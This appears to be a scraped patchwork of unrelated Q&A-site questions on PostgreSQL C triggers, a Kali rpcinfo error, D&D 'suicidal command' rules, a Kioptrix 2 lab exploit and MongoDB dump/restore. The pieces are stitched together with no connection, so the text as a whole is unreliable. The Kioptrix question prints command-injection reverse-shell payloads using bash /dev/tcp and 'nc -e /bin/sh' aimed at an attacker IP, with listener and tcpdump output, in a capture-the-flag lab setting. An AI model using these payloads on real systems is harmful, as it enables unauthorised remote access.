How to implement what “psql > \d table1” command does, manually in C?

I’m writing a Postgresql server extension in C, it’s a server-side trigger function. I’m using the standard server side interface in C that Postgres offers:

#include <stdio.h> #include <time.h> #include "postgres.h" #include "utils/rel.h" #include "executor/spi.h" #include "commands/trigger.h" #include "utils/fmgrprotos.h"  #ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif  extern Datum trig_test(PG_FUNCTION_ARGS);  PG_FUNCTION_INFO_V1(trig_test);  Datum trig_test(PG_FUNCTION_ARGS) {       // ........      // TODO:    // 1) infer a table over which a trgger is being executed (is more or less clear how to)   // 2) (!) archive the same result over that table   // as psq would do via this: "\d that_table" (how?)   // 3) write the output into a variable or file (is clear how to) } 

My current task is to achieve the same result as the \d <table1> does in C, inside of a trigger function. And more essentially I need the "indexes" part, including primary_key and also whether or not primary key is made of a single column or multiple ones, and which ones.

How can I do it?

Preferably, not strictly, without having to use SPI_exec() command because I figure that it might be slower than some other, more direct way.

I am seeing the error rpcinfo: can’t contact rpcbind: RPC: Remote system error – No such file or directory when running the rpcinfo command

So guys I am new to kali linux, sorry if this is a basic question but I am seeing this error message rpcinfo: can’t contact rpcbind: RPC: Remote system error – No such file or directory whenever I am running the command rpcinfo -p for NFS testing.

What constitutes a suicidal command?

The succubus has an ability called Charm. In it there is a clause that states a suicidal command results in the charmed creature rolling a saving throw to resist the command.

If the target suffers any harm or receives a suicidal Command, it can repeat the saving throw, ending the effect on a success.

But what is a suicidal command? Is it only a command that kills you 100% of the time? Is it any command that damages you? How about indirect damage?

Jumping off a 1000ft cliff sounds pretty suicidal, but at level 20, most characters could survive that easily, since the damage caps at 20d6. There is almost nothing in the game that could consistently one-shot a level 20 character, so does that mean nothing is considered suicidal to them at full health?

I have considered maybe a percentage damage. 50% of max health could be considered suicidal, but the problem is that any set percentage would be arbitrary, and that sounds very much like a hidden rule, which D&D tries to avoid. Any damage could mean lethal consequences if you only have 6 HP. Every hit point is extremely valuable, so unless the percentage shifts according to max HP and other weird stuff, this version wouldn’t really make sense.

Maybe if it DOES kill you, it is considered suicidal? Problem is you cannot know whether something kills you until you roll the dice, and you cannot roll the dice until it is your turn, since plenty of stuff could happen in between getting the command during the Succubus’ turn and yours. And since a successful save means you resist the charm, and the saving throw is supposed to happen when you receive the command, this isn’t really possible.

The best option I can find is counting all damage you do to yourself through environment or actions as “suicidal”. Is there any official rules on this?

Does a “suicidal command” by a succubus trigger two saving throws?

If a Succubus charms a humanoid with the Charm action, and then commands the humanoid to do something suicidal, the target gets to roll a saving throw. Succeeding means they do not perform the suicidal command – it interrupts the command.

But if they fail the saving throw, they go through with the action and take the damage, but should this then result in another saving throw?

If the target suffers any harm or receives a suicidal Command, it can repeat the saving throw, ending the effect on a success.

My interpretation would be that the two are different triggers, even if they happen during the same round. The Succubus gives a suicidal command, the humanoid rolls a saving throw, fail, and then they do the action when it is their turn, taking damage and rolling again.

If not we end up with the awkward situation where falling off a 1000-foot cliff doesn’t even give you a chance to save against being charmed, just because you already failed the save for the command itself.

Can the target of a “Planar Binding” spell be forced to perform an obviously harmful or suicidal command?

The Planar Binding spell has no text excluding “obviously harmful” or “suicidal” instructions. On the other hand, all of the following spells do have such text: Command (1st level enchantment), Suggestion (2nd level enchantment, Compulsion (4th level enchantment), Geas (5th level enchantment), Planar Ally (6th level conjuration) and Mass Suggestion (6th level enchantment)

Under the meta-rule that “there are no hidden rules”, does this mean that the subject of a Planar Binding spell can be given a harmful/suicidal instruction?

I think that RAW, the answer is yes. I’m more interested in RAI and RAF, game balance, and how this helps develop an internally consistent “theory of binding magic” (search this site for “Planar Binding” for numerous other questions related to such a theory).

Can the School of Necromancy feature Command Undead be used on very powerful undead?

The Command Undead feature says

As an action, you can choose one undead that you can see within 60 feet of you.

Unlike the spell Animate Dead it does not specify that it has to be a small/medium humanoid. So am I able to attempt to Command powerful undead such as liches, drago-liches, death tyrants, death knights, etc.? I know that they would be hard to keep under control because of the saving throws and their intelligence, but can I try, or does Command Undead not work on them at all?

Kioptrix 2: Why netcat reverse shell executed in web browser via command injection bug doesn’t work?

I’ve completed kioptrix level 2 challenge via bash reverse shell.

https://www.vulnhub.com/entry/kioptrix-level-11-2,23/

; bash -i >& /dev/tcp/10.10.13.37/4444 0>&1 

My question is why netcat reverse shell executed in web browser via command injection bug doesn’t work when it was working just fine via terminal?

My Setup

Kali -  10.10.13.37 Kioptrix 2 - 10.10.13.254 

netcat listerner

kali@kali:~$   nc -lp 4444 

I’ve verified tcp port 4444 is open

kali@kali:~$   ss -antp | g 4444 LISTEN 0      1            0.0.0.0:4444         0.0.0.0:*     users:(("nc",pid=3003,fd=3))  kali@kali:~$    

netcat reverse shell executed in web browser via command injection bug doesn’t work

; nc 10.10.13.37 4444 ; nc 10.10.13.37 4444 -e /bin/sh 

No traffic at all

kali@kali:~$   sudo tcpdump -nni eth0 port 4444 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes 

However, when I repeat the same process with netcat executed on Kioptrix 2 terminal, I was able to get the reverse shell setup on Kali.

[backdoor@kioptrix ~]$   nc 10.10.13.37 4444 -e /bin/sh 

Reverse shell via terminal is working fine

kali@kali:~$   nc -lp 4444 id uid=502(backdoor) gid=502(backdoor) groups=0(root),10(wheel),500(john),501(harold),502(backdoor) 

tcpdump traffic, the last 4 packets were for id command

kali@kali:~$   sudo tcpdump -nni eth0 port 4444 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes 00:58:29.307806 IP 10.10.13.254.32787 > 10.10.13.37.4444: Flags [S], seq 1943169723, win 5840, options [mss 1460,sackOK,TS val 12217959 ecr 0,nop,wscale 2], length 0 00:58:29.307851 IP 10.10.13.37.4444 > 10.10.13.254.32787: Flags [S.], seq 869624996, ack 1943169724, win 65160, options [mss 1460,sackOK,TS val 714133810 ecr 12217959,nop,wscale 7], length 0 00:58:29.308412 IP 10.10.13.254.32787 > 10.10.13.37.4444: Flags [.], ack 1, win 1460, options [nop,nop,TS val 12217960 ecr 714133810], length 0  00:59:55.154330 IP 10.10.13.37.4444 > 10.10.13.254.32787: Flags [P.], seq 1:4, ack 1, win 510, options [nop,nop,TS val 714219657 ecr 12217960], length 3 00:59:55.157180 IP 10.10.13.254.32787 > 10.10.13.37.4444: Flags [.], ack 4, win 1460, options [nop,nop,TS val 12303857 ecr 714219657], length 0 00:59:55.159646 IP 10.10.13.254.32787 > 10.10.13.37.4444: Flags [P.], seq 1:98, ack 4, win 1460, options [nop,nop,TS val 12303859 ecr 714219657], length 97 00:59:55.159656 IP 10.10.13.37.4444 > 10.10.13.254.32787: Flags [.], ack 98, win 510, options [nop,nop,TS val 714219662 ecr 12303859], length 0 

mongodump and restore in single command

How to perform mongo DB dump and restore in a single command, by providing source and sink DB and collection name separately?

I understand we can do mongodump and then mongorestore but if I need to this on an intermediate machine, this will mean I will need to wait for mongodump to complete before I can start mongorestore manually again. Is there a way to do it in a single command?